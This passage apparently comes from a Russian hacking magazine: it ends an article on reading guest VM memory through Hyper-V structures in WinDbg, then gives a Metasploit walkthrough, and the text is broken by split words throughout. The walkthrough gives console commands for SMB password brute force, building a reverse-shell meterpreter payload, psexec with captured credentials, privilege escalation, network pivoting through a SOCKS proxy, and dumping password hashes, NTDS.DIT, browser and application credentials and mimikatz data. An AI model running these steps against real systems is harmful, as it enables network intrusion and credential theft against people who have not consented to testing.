ки),  полезн  ую  нагр  узку  —  адрес  а  guest  page  number  и  ссылк  у  на  VPN‐узел,
содер жащий  старт  овый  и  конечн  ый  адрес  соот ветс тву юще го  бло ка  памяти
в про цес се, обслуж  иваю  щем вир туальн  ую машину:

2: kd> dt _RTL_RB_TREE ffffd883`444197a0 — VPN‐дерево
nt!_RTL_RB_TREE

  +0x000 Root             : 0xffffd883`44dc9b70 _RTL_BALANCED_NODE
  +0x008 Encoded          : 0y0
  +0x008 Min              : 0xffffd883`44dcb060 _RTL_BALANCED_NODE

2: kd> dt _RTL_RB_TREE ffffd883`444197b0 — GPN‐дерево
nt!_RTL_RB_TREE

  +0x000 Root             : 0xffffd883`443b2890 _RTL_BALANCED_NODE
  +0x008 Encoded          : 0y0
  +0x008 Min              : 0xffffd883`48d75890 _RTL_BALANCED_NODE

Ра ботать  будем  с  GPN‐деревом.  Заголо вок  выг лядит  при мер но  так  (можн  о
пос мотреть, какой узел чер ный, какой крас ный):

2: kd> dx ‐id 0,0,ffffd8833e087040 ‐r1 ((ntkrnlmp!_RTL_BALANCED_NODE 
*)0xffffd883443b2890)
((ntkrnlmp!_RTL_BALANCED_NODE *)0xffffd883443b2890)                 : 
0xffffd883443b2890 [Type: _RTL_BALANCED_NODE *]

   [+0x000] Children         [Type: _RTL_BALANCED_NODE * [2]]
   [+0x000] Left             : 0xffffd883443a8e10 [Type: 
_RTL_BALANCED_NODE *]
   [+0x008] Right            : 0xffffd88342f4a690 [Type: 
_RTL_BALANCED_NODE *]
   [+0x010 ( 0: 0)] Red              : 0x0 [Type: unsigned char]
   [+0x010 ( 1: 0)] Balance          : 0x0 [Type: unsigned char]
   [+0x010] ParentValue      : 0x0 [Type: unsigned __int64]

2: kd> dx ‐id 0,0,ffffd8833e087040 ‐r1 ((ntkrnlmp!_RTL_BALANCED_NODE 
*)0xffffd883443a8e10)
((ntkrnlmp!_RTL_BALANCED_NODE *)0xffffd883443a8e10)                 : 
0xffffd883443a8e10 [Type: _RTL_BALANCED_NODE *]

   [+0x000] Children         [Type: _RTL_BALANCED_NODE * [2]]
   [+0x000] Left             : 0xffffd88344398490 [Type: 
_RTL_BALANCED_NODE *]
   [+0x008] Right            : 0xffffd883443ae090 [Type: 
_RTL_BALANCED_NODE *]
   [+0x010 ( 0: 0)] Red              : 0x1 [Type: unsigned char]
   [+0x010 ( 1: 0)] Balance          : 0x1 [Type: unsigned char]
   [+0x010] ParentValue      : 0xffffd883443b2891 [Type: unsigned 
__int64]

2: kd> dx ‐id 0,0,ffffd8833e087040 ‐r1 ((ntkrnlmp!_RTL_BALANCED_NODE 
*)0xffffd88344398490)
((ntkrnlmp!_RTL_BALANCED_NODE *)0xffffd88344398490)                 : 
0xffffd88344398490 [Type: _RTL_BALANCED_NODE *]

   [+0x000] Children         [Type: _RTL_BALANCED_NODE * [2]]
   [+0x000] Left             : 0xffffd88348d75890 [Type: 
_RTL_BALANCED_NODE *]
   [+0x008] Right            : 0xffffd88344398510 [Type: 
_RTL_BALANCED_NODE *]
   [+0x010 ( 0: 0)] Red              : 0x0 [Type: unsigned char]
   [+0x010 ( 1: 0)] Balance          : 0x0 [Type: unsigned char]
   [+0x010] ParentValue      : 0xffffd883443a8e10 [Type: unsigned 
__int64]

Нас  в  пер вую  очер  едь  инте ресу ет  полез ная  наг рузка,  содер жаща яся  в  теле
лис та дерева:

2: kd> dps  0xffffd88346564610
ffffd883`46564610  00000000`00000000
ffffd883`46564618  00000000`00000000
ffffd883`46564620  ffffd883`46564910
ffffd883`46564628  ffffd883`4802e558
ffffd883`46564630  ffffd883`4802e558
ffffd883`46564638  fffffc0f`022a73a0
ffffd883`46564640  fffffc0f`022a73a0
ffffd883`46564648  00000000`0000000e — Start GPA
ffffd883`46564650  00000000`0000009f — End GPA
ffffd883`46564658  ffffd883`44414000 — Prtn object
ffffd883`46564660  ffffd883`4802e530 — соответствующий элемент VPN‐
дерева
ffffd883`46564668  00000000`00000040
ffffd883`46564670  00000000`00000003
ffffd883`46564678  00000000`00000000

2: kd> dps 0xffffd8834802e530
ffffd883`4802e530  ffffd883`4802caa0
ffffd883`4802e538  ffffd883`4802f250
ffffd883`4802e540  ffffd883`4802f7a0
ffffd883`4802e548  00000000`281af2ee — start virtual page address
ffffd883`4802e550  00000000`281af37f — end virtual page address
ffffd883`4802e558  ffffd883`46564628
ffffd883`4802e560  ffffd883`46564628
ffffd883`4802e568  00000000`00000001

Для про цес са QEMU мож но уви деть, что базовый адрес регио  на памяти сов‐ 
пада ет с началом VPN‐бло ка:

2: kd> dps 0xffffad04c7872c10
ffffad04`c7872c10  00000000`00000000
ffffad04`c7872c18  ffffad04`cc1b7610
ffffad04`c7872c20  ffffad04`cc269610
ffffad04`c7872c28  ffffad04`c96a75b8
ffffad04`c7872c30  ffffad04`c96a75b8
ffffad04`c7872c38  ffffbf8d`0ef103a0
ffffad04`c7872c40  ffffbf8d`0ef103a0
ffffad04`c7872c48  00000000`00000000 — Start GPA
ffffad04`c7872c50  00000000`0000009f — End GPA
ffffad04`c7872c58  ffffad04`c8bd1000
ffffad04`c7872c60  ffffad04`c96a7590 — соответствующий элемент VPN‐
дерева
ffffad04`c7872c68  00000000`00000040
ffffad04`c7872c70  00000000`00000003
ffffad04`c7872c78  00000000`00000000

2: kd> dps ffffad04`c96a7590
ffffad04`c96a7590  ffffad04`ccb86120
ffffad04`c96a7598  ffffad04`c6cd8af0
ffffad04`c96a75a0  ffffad04`c6cd94a0
ffffad04`c96a75a8  00000000`0007fff0 — Start virtual page address
ffffad04`c96a75b0  00000000`0008008f — end virtual page address
ffffad04`c96a75b8  ffffad04`c7872c28
ffffad04`c96a75c0  ffffad04`c7872c28
ffffad04`c96a75c8  00000000`00000001
ffffad04`c96a75d0  53646156`02050000
ffffad04`c96a75d8  00000000`00000000
ffffad04`c96a75e0  00000000`00000000
ffffad04`c96a75e8  00000000`00000000

Чем‐то  эта  орган  изац  ия  памяти  напомин  ает  обыч ное  VAD‐дерево,  которое
опи сывае  т  адресное  прос транст  во  про цес са,  пост  ро енное  на  осно ве  AVL‐
деревье  в.  Так же  прис  утс тву ют  минимальн  ое  и  мак сималь ное  знач  ение
диапаз  она бло ка памяти:

kd> dt ntkrnlmp!_MMVAD_SHORT
  +0x000 NextVad          : Ptr64 _MMVAD_SHORT
  +0x008 ExtraCreateInfo  : Ptr64 Void
  +0x000 VadNode          : _RTL_BALANCED_NODE
  +0x018 StartingVpn      : Uint4B
  +0x01c EndingVpn        : Uint4B
  +0x020 StartingVpnHigh  : UChar
  +0x021 EndingVpnHigh    : UChar
  +0x022 CommitChargeHigh : UChar
  +0x023 SpareNT64VadUChar : UChar
  +0x024 ReferenceCount   : Int4B
  +0x028 PushLock         : _EX_PUSH_LOCK
  +0x030 u                : <anonymous‐tag>
  +0x034 u1               : <anonymous‐tag>
  +0x038 EventList        : Ptr64 _MI_VAD_EVENT_BLOCK

kd> dt ntkrnlmp!_MMVAD
  +0x000 Core             : _MMVAD_SHORT
  +0x040 u2               : <anonymous‐tag>
  +0x048 Subsection       : Ptr64 _SUBSECTION
  +0x050 FirstPrototypePte : Ptr64 _MMPTE
  +0x058 LastContiguousPte : Ptr64 _MMPTE
  +0x060 ViewLinks        : _LIST_ENTRY
  +0x070 VadsProcess      : Ptr64 _EPROCESS
  +0x078 u4               : <anonymous‐tag>
  +0x080 FileObject       : Ptr64 _FILE_OBJECT

kd> dt ntkrnlmp!_MI_VAD_SEQUENTIAL_INFO
  +0x000 Length           : Pos 0, 12 Bits
  +0x000 Vpn              : Pos 12, 52 Bits

Та ким  обра зом,  для  чте ния  и  записи  в  вир туаль ном  адресном  прост  ранст  ве
гос тевой ОС, запущен ной в QEMU в режиме ускор  ения WHPX, сперв  а необ‐ 
ходимо сдел  ать сле дующее.
1. Тран слир  овать  вирт  уаль ный  адрес  в  физичес кий  с  помощью  vid.

dll!VidTranslateGvatoGpa.
2. Найт  и  необ ходимый  GPN‐лист  или  узел  в  дереве,  сравн  ивая  начальн  ый

и конечн  ый номера стра ниц с получен ным физическ  им адре сом.
3. Зат  ем получить VPN‐элем  ент и узнать смещ  ение блок  а памяти в адресном

прос транст  ве  про цес са  qemu­system­x86_64.exe  или  vmware­vmx.
exe.
4. Про читать соот ветст  вую  щий блок памяти или выпол нить запись (в зависи‐ 
мост  и от опе рации).

Вар  иант 2 (теорет  ичес кий, не треб  ует kernel mode опер  аций, но не пров  ерял‐ 
ся).
1. Тран слир  овать  адрес  с  помощью  WHvTranslateGva  из  набора  Windows

HV Platform API.
2. Прос каниро вать  адресное  прос транс тво  проц  ес са  qemu­system­

x86_64.exe или vmware­vmx.exe, най ти блок, совп  адаю  щий разм  ером
с  опе ратив ной  памятью  (наде ятьс  я,  что  он  будет  один  и  без  фрагм  ента‐ 
ции).
3. Счи тать физичес кий адрес сме щени ем в бло ке памяти про цесс  а.
4. Вы пол нить счи тыван  ие или запись и наде ятьс  я, что повезет.

При запуск  е QEMU с парамет рами

qemu‐system‐x86_64.exe ‐m 3072M ‐smp 1 ‐drive file= Win1020H1.gcow2, 
index=0, media=disk, cache=writeback ‐accel whpx

в WinDbg мож но снять трас су с помощью коман ды

bp winhvr!WinHvMapGpaPagesSpecial "r rcx, rdx,r8,r9;g"

2: kd> g
rcx=000000000000000c rdx=0000000000000000 r8=00000000000c0000 r9=
0000000000080400
rcx=000000000000000c rdx=00000000000fffc0 r8=0000000000000040 r9=
0000000000080400
...

Скрипт  ом  мы  можем  посм  отреть  элем  ент  ы  деревь ев.  Для  QEMU  резуль тат
будет таким.

Разм  ер  бло ков  в  гост  евой  ОС  и  раз мер  блок  ов,  опис  ывае  мых  VPN‐  и  GPN‐
деревья  ми, при мерн  о совп  ада ет, но впол не может и отли чать ся, то есть вза‐ 
имно однознач ного соот ветс твия меж ду разм  ером этих бло ков нет.

Для VirtualBox 6.1.8.

Несм  отря  на  то  что  раз работ чики  VirtualBox  использ  уют  CreatePartition,
отобр  ажение  памяти  c  помощью  winhvr!WinHvMapGpaPagesSpecial  они
не  дела ют.  Зна читель ная  часть  эму ляции  в  VirtualBox  выпол няет ся  в  режиме
ядра, а про изво дительн  ость user mode WHPX недос таточн  а для нор маль ного
функ  цио  ни рова ния  под систе мы  вирт  уализ  ации.  За  раз вити ем  темы  под дер‐ 
жки Hyper‐V можн  о набл  юдать на офиц  иальн  ом форуме VirtualBox.

Осн  овная подс  исте ма, работа ющая с Hyper‐V, опис  ана в этом файл  е. При‐ 
мер  исполь зования  API  мож но  увид  еть  в  при ложе нии‐трасс  иров щике  Sim‐
pleator.

Пос ле добавл  ения это го алго рит ма в LiveCloudKd появил  ась воз можность
читать  память  всех  разд  елов,  созд  анных  с  помощью  WHVP  API.  Опе рация
записи  реали зует ся  тем  же  спо собом,  тольк  о  с  одним  отли чием  —  дан ные
копиру ются в адресное прос транст  во проц  есс  а vmmem по най денн  ому сме‐ 
щению.

Орг  аниза ция  памяти  для  Windows  10  1803  подобн  а  модели,  сдел  анн  ой
для  конт  ей неров  Windows  Defender  Application  Guard  /  Windows  Sandbox
или кон тей неров Docker, запущенн  ых в режиме изо ляции Hyper‐V.

Google Android emulator (тот же QEMU).

ЗАКЛЮЧЕНИЕ
В целом можн  о сказ  ать, что часть эмул  ято ров успешно работа ют на WHVP API
(QEMU, Android emulator), а часть так и не смог ла перей ти на них полн  оценн  о
(VirtualBox,  VMware).  Microsoft  явно  не  стрем  ит ся  упрощ  ать  жизнь  конк  урен‐ 
тным про дук там, хотя прям  ой выгоды для них в этом не просл  еживае  тся. Про‐ 
изво дитель ность  вирт  уаль ных  опер  аци онных  сист  ем,  работа ющих  с  эти ми
API, так же пока вызывае  т вопр  осы.

ВЗЛОМ

RalfHacker
[email protected]

ПУТЕВОДИТЕЛЬ ПО

METASPLOIT
РАЗБИРАЕМ
ПРИМЕРЫ ИСПОЛЬЗОВАНИЯ
ЗНАМЕНИТОГО ФРЕЙМВОРКА

Metasploit Framework — самый мас штаб ный и рас пиаренн  ый
из всех фрейм  вор ков для эксп  луа  тац  ии и пост  экс плуа  та ции.
Даже  если  ты  не  исполь зуешь  его  сам,  то  наверн  яка  встре‐ 
чал немало упом  ина ний MSF в наших статья  х. Одна ко ввод‐ 
ной статьи по нему в «Хакере» не было, а если и была, то так
дав но, что не счит  аетс  я. Я поп робую начать с самого начала,
а  заодн  о  рас ска жу,  как  именн  о  этот  фрей мворк  исполь зует
моя команд  а, и дам разн  ые прак тичес кие советы.

WARNING

Вся  информа ция  пред  ост  авле на  исключ  ительн  о
в ознак  омит  ель ных целях. Ни редак ция, ни автор
не  несут  ответс твен ности  за  любой  возм  ожный
вред, при чинен ный информа цией из этой статьи.

УСТАНОВКА METASPLOIT FRAMEWORK
В  дист  риб  утив  ах,  предн  азна чен ных  для  тест  ирован  ия  на  про никн  овение  (к
прим  еру,  Kali  или  Parrot  OS),  этот  про дукт  либо  пре дус тановл  ен,  либо  лег ко
устан  ав лива ется след  ующей команд  ой:

apt install metasploit‐framework 

Ес ли же ты хочешь исполь зовать Metasploit Framework, нап ример, в Ubuntu, то
его  мож но  уста новить  из  офиц  иальн  ого  репози тория.  Для  этог  о  набери
в конс  оли след  ующие директ  ивы:

curl https://raw.githubusercontent.com/rapid7/metasploit‐omnibus/mas‐
ter/config/templates/metasploit‐framework‐wrappers/msfupdate.erb > 
msfinstall 
sudo chmod 755 msfinstall 
sudo ./msfinstall 

База данных Metasploit
До воль но  част  о  польз  овате лям  Metasploit  при ходит ся  ломать  сети,  содер‐ 
жащие очень мно го хост  ов. И нас тупа ет момент, ког да аккум  ули рован  ие всей
получен ной  информац  ии  занима ет  непоз волительн  о  долг  ое  врем  я.  Именн  о
тогд  а  начинае  шь  ценить  воз можность  работы  Metasploit  Framework  с  СУБД
PostgreSQL.  Metasploit  может  сам  сох ранять  и  удобн  о  форм  ализо вать
полученн  ую  информац  ию  благ  одар  я  модулю  msfdb.  Для  работы  с  базами
необх  одимо запус тить служб  у postgresql и созд  ать базу для Metasploit.

service postgresql start 
msfdb init 

Со общен  ие msfdb об успешном соз дании базы дан ных
Про верить под клю чение к базе данн  ых можн  о из самого фрейм  вор ка, выпол‐ 
нив команд  у db_status.

Ус пешное подк  лю чение к базе данн  ых Metasploit
Что бы  было  удобн  ей  работать  с  раз личны ми  областя ми  (хос тами,  сетями
или доменам  и) и раз делять данн  ые для струк туризац  ии, msfdb имее  т под дер‐ 
жку  так  называе  мо го  рабоче го  прос транс тва.  Давай  добавим  новое  прос‐ 
транст  во в наш про ект.

> workspace ‐a xakep 

Соз дание нового рабочег  о прос транст  ва
Те перь  мы  дейс  тву ем  в  созд  анном  рабочем  прос транст  ве.  Предс  та вим,  что
мы  находим ся  в  сети  192.168.6.0.24.  Давай  поищем  в  ней  дост  упные  хост  ы.
Для это го будем исполь зовать Nmap, но из Metasploit и с прив  яз кой к текущей
базе данн  ых — db_nmap.

> db_nmap ‐O 192.168.6.0/24 

Сам  вывод  Nmap  нам  неин тересен:  все,  что  нуж но,  будет  сох ранено  в  базе
дан ных. К прим  еру, у нас есть уже все проск  аниро ванн  ые хост  ы и мы можем
их просм  отреть одним списк  ом с помощью команд  ы hosts.

Спи сок прос каниро ванн  ых хос тов, сох ранен ный в базе дан ных
Но  заодн  о  с  хос тами  были  сохр  анены  и  все  служб  ы,  спис  ок  которых  у  нас
теперь  такж  е  всегд  а  будет  под  рукой.  При  этом  мы  можем  посм  отреть
как вооб ще все служ бы на пор тах, так и спи сок служб для опред  елен ного хос‐ 
та.

Спи сок всех най денн  ых служб

Спис  ок най денн  ых на опред  елен ном хос те служб
У базы данн  ых msfdb есть очень кру тая возм  ожность — сох ранение всех най‐ 
ден ных  учет ных  данн  ых.  Об  этой  функ  ции  я  расс  каж  у  позж  е,  а  сна чала  нес‐ 
кольк  о  слов  о  возм  ожнос тях  брут форса,  которы ми  рас полага ет  фрей мворк.
Пол ный спис  ок переби раемой информац  ии для колл  екци онир  ован  ия учет ных
данн  ых мож но получить сле дующей команд  ой:

> search type auxiliary/scanner ‐S "_login"

Мо дули для брут форса учет ных данн  ых некотор  ых служб
Об рати  вни мание  на  SMB.  Что бы  узнать,  для  чего  именн  о  предн  азнач  ен
опред  елен ный модуль и его опи сание (со ссыл кой на cvedetails), а так же пос‐ 
мотреть  дан ные,  которые  нуж но  передать  в  качес тве  парамет ров,  сле дует
вос поль зовать ся команд  ой info.

info auxiliary/scanner/smb/smb_login 

Опи сание модуля smb_login
Дав  ай  выберем  этот  модуль,  зададим  назв  ание  домена,  имя  поль зовател  я,
инте ресую  щий нас хост и спи сок паролей.

msf5 > use auxiliary/scanner/smb/smb_login 
msf5 auxiliary(scanner/smb/smb_login) > set RHOSTS 192.168.6.129 
msf5 auxiliary(scanner/smb/smb_login) > set SMBUser root 
msf5 auxiliary(scanner/smb/smb_login) > set PASS_FILE 
/home/ralf/tmp/pass.txt 
msf5 auxiliary(scanner/smb/smb_login) > set SMBDomain DOMAIN 
msf5 auxiliary(scanner/smb/smb_login) > run 

Нас трой ка модуля smb_login

Об наруженн  ый smb_login пароль для целевог  о польз  овател  я
Есл  и  найд  ен ный  польз  ователь  —  админ  ис трат  ор,  Metasploit  сообщ  ит  нам
об  этом,  что  очень  удоб но.  Но  ведь  в  нашей  сети  может  быть  100  машин
и даже боль ше, а на них наверн  яка запуще но мно жест  во служб. Как пра вило,
удае  тся собр  ать мно го учет ных данн  ых, использ  уя толь ко модули брут форса.
Исполь зование  msfdb  позв  оляе  т  не  тра тить  врем  я  на  кол лекци онир  ован  ие
всех обнар  ужен ных логинов, хешей, паролей, так как они автом  ати ческ  и оста‐ 
ются  в  хран  илищ  е  учет ных  данн  ых,  пос мотреть  которое  мож но  коман дой
creds.

Хран  илищ  е учет ных данн  ых msfdb
Я  опи сал  не  все  фун кции  msfdb  (есть  интеграц  ии  со  скан  ерам  и  Nessus
и OpenVAS), а лишь те, которым  и пост  оян но польз  ует ся наша команд  а.
ПОЛУЧЕНИЕ ТОЧКИ ОПОРЫ
Полезная нагрузка
Metasploit  пре дос тавляе  т  боль шой  арсе нал  воз можност  ей  для  соз дания
полезн  ой  нагр  узки.  Но  нужн  о  учи тывать,  что  сущес твую  т  разн  ые  спо собы
внед рения  этой  самой  нагр  узки.  С  помощью  фрейм  вор ка  мож но  созд  авать
как легк  ие пейл  оады для выпол нения команд и получен  ия прост  ого шелл  а, так
и  слож ные,  нап ример  meterpreter  или  VNC  (с  исполь зовани ем  дополн  итель‐ 
ного загр  узчи ка).

При  этом  одна  и  та  же  полезн  ая  нагр  узка  может  работать  как  в  режиме
ожи дания  под клю чения  (bind),  так  и  в  режиме  reverse  (для  бэк коннект  а
от  целево го  хос та).  Сто ит  учит  ывать,  что  чем  легч  е  наг рузка,  тем  больш  е  ее
надеж ность  и  стаб  ильн  ость.  Так,  обыч ный  шелл  может  быть  соз дан
с  помощью  AWK,  jjs,  Lua,  Netcat,  Node.js,  Perl,  R,  Ruby,  socat,  stub,  zsh,  ksh,
Python, PHP, PowerShell.

Что бы  най ти  наг рузку  для  опред  еленн  ого  слу чая,  исполь зуем  коман ду
search.

search payload/ 

Не кото рые виды полез ной наг рузки Metasploit
В боль шинст  ве случ  аев использ  ует ся загр  узчик в одном из след  ующих фор‐ 
матов:  raw,  ruby,  rb,  perl,  pl,  c,  js_be,  js_le,  java,  dll,  exe,  exe‐small,  elf,  macho,
vba, vbs, loop‐vbs, asp, war. Для работы с пей лоада ми в сост  аве фрей мвор ка
имее  тся свой модуль — msfvenom.

Дав  ай  для  при мера  соз дадим  нагр  узку  meterpreter  типа  reverse,  работа‐ 
ющую  по  про токо лу  TCP  для  опер  ацио  нной  сис темы  Windows,  —  это  win‐
dows/x64/meterpreter/reverse_tcp.

Опи сание наг рузки windows/x64/meterpreter/reverse_tcp
Глав ными парамет рами для этой полез ной наг рузки будут LHOST и LPORT —
адрес и порт нашего сер вера для бэк коннек та. Соз дадим наг рузку в фор мате
*.exe.

msfvenom ‐p [пейлоад] [параметры пейлоада] ‐f [формат] ‐o [итоговый 
файл] 

Соз дание наг рузки с помощью msfvenom
Исп  олняе  мый  файл  с  наг рузкой  готов.  Да,  у  msfvenom  есть  еще  мног  о  фун‐ 
кций вро де задерж  ек и кодеров, но наша коман да их не использ  ует.
Листенер
За  созд  ание  лис тенера  отвеч  ает  модуль  exploit/multi/handler.  Это му
модулю нужн  о ука зать толь ко целевой пейл  оад, с которым он будет взаи  мо‐ 
дейс  тво вать, и парамет ры это го пей лоада.

> use exploit/multi/handler 
> set payload windows/x64/meterpreter/reverse_tcp 
> set LHOST 192.168.6.1 
> set LPORT 4321 
> run 

Созд  ание лист  енера
Есть быс трый спо соб созд  ать такой лист  енер — команд  а укла дывае  тся в одну
стро ку.

handler ‐p [пейлоад] ‐H [хост] ‐P [порт] 

Соз дание лис тенера
И  теперь  наша  задача  сдел  ать  так,  чтоб  ы  файл  с  наг рузкой  был  выполн  ен
на целевом хос те.
Эксплоиты
Об исполь зуемых нами эксп  ло итах в оберт  ке Metasploit Framework я расс  ка жу
крат ко, так как для получе ния точ ки опор  ы мы использ  уем тольк  о два из них.
Это  exploit/windows/smb/psexec  и  exploit/windows/smb/
ms17_010_eternalblue.  Конечн  о,  если  нам  удае  тся  обна ружить  уязв  имые
служб  ы и для них есть экс плои  ты в Metasploit, они тоже идут в дело, но такое
слу чает ся редк  о. В след  ующих разд  елах мы чуть подр  обнее разб  ерем имен‐ 
но наг рузку meterpreter, так как лег кие нагр  узки обес печива ют дост  уп к обыч‐ 
ному  шел лу,  а  vncinject  прост  о  открыв  ает  уда лен ный  рабочий  стол.
Для модуля psexec укаж  ем полученн  ые учет ные данн  ые, адрес целево го хост  а
и тип наг рузки с необх  одимы ми парамет рами.

> use exploit/windows/smb/psexec 
> set payload windows/x64/meterpreter/reverse_tcp 
> set LHOST 192.168.6.1 
> set LPORT 9876 
> set RHOSTS 192.168.6.129 
> set SMBUser root 
> set SMBPass 1q2w#E$R
> set SMBDomain domain.dom 
> run 

По луче ние сесс  ии meterpreter
В  ито ге  мы  получае  м  сесс  ию  meterpreter  для  уда ленн  ого  хос та  с  опе раци‐ 
онной сист  емой Windows.
ЭКСПЛУАТАЦИЯ И ПОСТЭКСПЛУАТАЦИЯ
Наст  ало вре мя уде лить вни мание вопр  осам экс плу атац  ии тех воз можнос тей,
которые мы получил  и на пре дыдущ  ем этап  е. Уда ленн  ый хост может работать
под  управлен  ием  раз личных  опер  ацио  нных  сист  ем,  поэтом  у  погово рим
о кажд  ой из них в отдельн  ос ти.

→Продолжение статьи

ВЗЛОМ ←  НАЧАЛО СТАТЬИ

ПУТЕВОДИТЕЛЬ ПО
METASPLOIT

РАЗБИРАЕМ ПРИМЕРЫ ИСПОЛЬЗОВАНИЯ
ЗНАМЕНИТОГО ФРЕЙМВОРКА

Windows
Эта  ОС  —  одна  из  самых  расп  ростра ненн  ых,  поэто му  пост  экс плу ата цию
узлов,  работа ющих  под  управле нием  Windows,  можн  о  условно  раз делить
на неск  ольк  о под ходов.

База meterpreter
Сна чала давай рас ска жу о модулях, которые мы исполь зуем, когд  а у нас уже
имее  тся  сес сия  meterpreter.  Как  и  во  множ  ест  ве  дру гих  фрей мворк  ов,
в  Metasploit  прис  утс тву ют  полез ные  команд  ы  для  заг рузки  файл  ов  download
и upload. Для ста бильн  ос ти мы можем перенест  и нашу сес сию в дру гой про‐ 
цесс  на  хос те  с  помощью  команд  ы  migrate.  Эта  коман да  прин  имае  т  один
параметр — PID целево го про цесс  а, получить который мож но из списк  а про‐ 
цес сов (с помощью коман ды ps).

Миг рирова ние в дру гой про цесс
Так же  мы  можем  созд  авать  свои  проц  ес сы.  Для  этог  о  нужн  о  ука зать  лишь
файл  (‐f)  и  при  желании  включ  ить  интер  ак тивный  (‐i)  или  скрыт  ый  (‐H)
режимы.

execute ‐f cmd.exe ‐i ‐H

Соз дание скры того про цес са cmd.exe
Кста ти,  пробл  ема  кодировк  и  реша ется  с  помощью  коман ды  cp  65001.
Опция, исполь зуемая почт  и всегд  а, — переход в конт  екст SYSTEM. Для это го
нуж но прос то выпол нить коман ду getsystem.

Пе реход в конт  екст SYSTEM
Очень полезн  а функ  ция поис ка файл  ов, если тебе нужн  о найт  и на уда лен ной
машине документ  ы или архив  ы.

По иск всех файл  ов TXT
Еще  мож но  выпол нить  на  взлом  анн  ом  хост  е  коман ду  PowerShell  или  Python,
а так же заг рузить PS1‐файл или скрипт на Python в память. Для это го сна чала
запус ти нужн  ые модули, а потом выбери соот ветс твую  щую команд  у.

Мо дуль PowerShell

Мо дуль Python
Туннели
Од на  из  самых  кру тых  воз можнос тей  Metasploit  —  созд  ание  тун нелей.  Мы
можем исполь зовать зах вачен ный хост как мост межд  у внешн  ей и внут ренней
сетью.  Обыч но  сна чала  про веряю  т,  есть  ли  допол нительн  ые  сетевые
интерфей сы.

> ifconfig 

По лучен  ие адре са внут ренней сети
Для обнар  уже ния хос тов мы можем пос мотреть табл  ицу ARP.

> arp 

ARP‐табл  ица целево го хост  а
Теп  ерь  нам  необх  одимо  пост  рои  ть  тунн  ель.  Снач  ала  созд  адим  мар шрут
и про верим его с помощью autoroute.

> run autoroute ‐s 10.0.0.0/24 
> run autoroute ‐p

Созд  ание мар шрут  а

Спис  ок соз данных мар шру тов
Те перь отправ  им сес сию в фоновый режим, тем самым перей дя из обо лоч ки
meterpreter в обо лоч ку msf.

> background 

Пе реход в фоновый режим
На  след  ующем  этап  е  нам  нуж но  нас тро ить  SOCKS‐прокс  и‐серв  ер.  За  это
отве чает  модуль  auxiliary/server/socks4a.  В  качест  ве  парамет ров  он
прин  имае  т хост и порт (по умол чанию — localhost:1080).

> use auxiliary/server/socks4a 
> run 

Созд  ание SOCKS4‐прок си‐сер вера
Что бы  верн  утьс  я  обратно  в  обо лоч ку  meterpreter,  можн  о  восп  оль зоватьс  я
команд  ой sessions и ука зать номер сесс  ии.

Пер  еход в фоновый режим
В  качес тве  редирек тора  мы  можем  исполь зовать  ProxyChains.  Для  это го  ука‐ 
жем  адрес  созд  анно го  нами  прок си‐серв  ера  в  файл  е  конф  игурац  ии  /etc/
proxychains.conf.

Файл кон фигурац  ии ProxyChains
Теп  ерь  прос каниру ем  с  помощью  Nmap  и  созд  анног  о  тун неля  найд  енн  ый
в ARP‐табл  ице хост.

# proxychains ‐q nmap 10.0.0.5

Скан  иро вание пор тов хос та во внут ренней сети через тунн  ель Metasploit
Сбор учетных данных
Сбор паролей и хешей — неотъ емлем  ая часть любой атак  и, и Metasploit поз‐ 
воля ет это делать лег ко и непр  инужд  енно. Перв  ый метод — вос польз  оватьс  я
коман дой hashdump, которая собира ет хеши из фай ла SAM.

Ис польз  ование опции hashdump
Ес ли мы имее  м дос туп к конт  рол леру домена, то можем очень лег ко сдам пить
файл NTDS.DIT (что это за файл и зачем он нужен, подр  обно расс  каз  ывал  ось
вот в этой статье).

> use post/windows/gather/ntds_grabber 
> set SESSION 5 
> run 

Исп  оль зование опции hashdump
При  этом  мы  можем  получать  пароли  из  групп  овой  полити ки  и  MS  SQL  бла‐ 
годар  я модулям post/windows/gather/credentials/gpp, а так же сохр  анен‐ 
ные  пароли  Skype,  TeamViewer  и  Outlook  (post/windows/gather/creden‐
tials/outlook, post/windows/gather/credentials/skype, post/windows/
gather/credentials/teamviewer_passwords).  Ну  и  конечн  о  же,  я  не  могу
оста вить без вни мания бра узер  ы, из которых мы получа ем не тольк  о учет ные
данн  ые, но еще и фай лы куки, и истор  ию просм  отра веб‐стран  иц.

> use post/windows/gather/enum_chrome 
> set session 5 
> run 

По лучен  ие данн  ых из брау  зер  а
Все эти фай лы сох ранят ся в базе msfdb, и к ним всег да мож но получить дос‐ 
туп, выпол нив команд  у loot.

Ре зуль тат loot msfdb
На  самом  деле  файл  ы  не  тек стов  ые.  Они  пред став ляют  собой  базу  дан ных
SQLite, но вот сохр  аненн  ые пароли мы находим без особ  ого труд  а.

Сох ранен ные учет ные данн  ые в бра узе ре
И  завер шим  разд  ел  про  учет ные  данн  ые,  упом  янув  интегра цию  Metasploit
с mimikatz. Для это го заг рузим соот ветс тву ющий модуль.

Заг рузка модуля KIWI и mimikatz
О  mimikatz  я  под робно  рас сказ  ывать  не  буду  —  этот  инст  ру мент  известен,
наверн  ое,  всем  читател  ям.  В  Metasploit  интегри рован  ы  сле дующие  модули,
которые мож но использ  овать по мере необ ходимос ти.

Мо дули mimikatz
Разведка
Про  раз ведку  в  домене  я  расс  ка жу  вкрат це.  Команд  для  этой  цели  име ется
великое  мно жес тво,  их  можн  о  най ти  по  пути  post/windows/gather/.  В  пер‐ 
вую  оче редь  нас  интер  есу ет  получе ние  списк  а  поль зовате лей  домена
(enum_ad_users),  всех  групп  (enum_ad_groups),  зарегис три рован ных
в  домене  компь юте ров  (enum_ad_computers),  а  так же  общих  ресурс  ов
(enum_shares).  К  более  масш  таб ным  методам  раз ведки  в  домене  я  отне су
модуль  post/windows/gather/bloodhound,  исполь зующий  одно имен ный
инс тру мент.

Иногд  а  для  поиск  а  век тора  LPE  необх  одимо  изу чить  устан  ов ленное
на уда ленн  ых машинах ПО. Metasploit спос  обен облегчить и эту задачу.

Спи сок устан  овл  енно го ПО
Не мешае  т лишн  ий раз про верить наличие каких‐нибудь CVE для повышен  ия
при виле гий.  За  их  перечис ление  отвеч  ает  модуль  post/multi/recon/lo‐
cal_exploit_suggester. Вот прим  ер найд  ен ной этим модулем уязв  имос ти.

Про вер ка LPE‐эксп  ло итов
Иног да  полез но  собирать  и  ана лизир  овать  траф  ик.  Сна чала  нам  нужн  о  заг‐ 
рузить модуль sniffer и изуч  ить дост  упные сетевые интерфей сы.

Заг рузка модуля sniffer
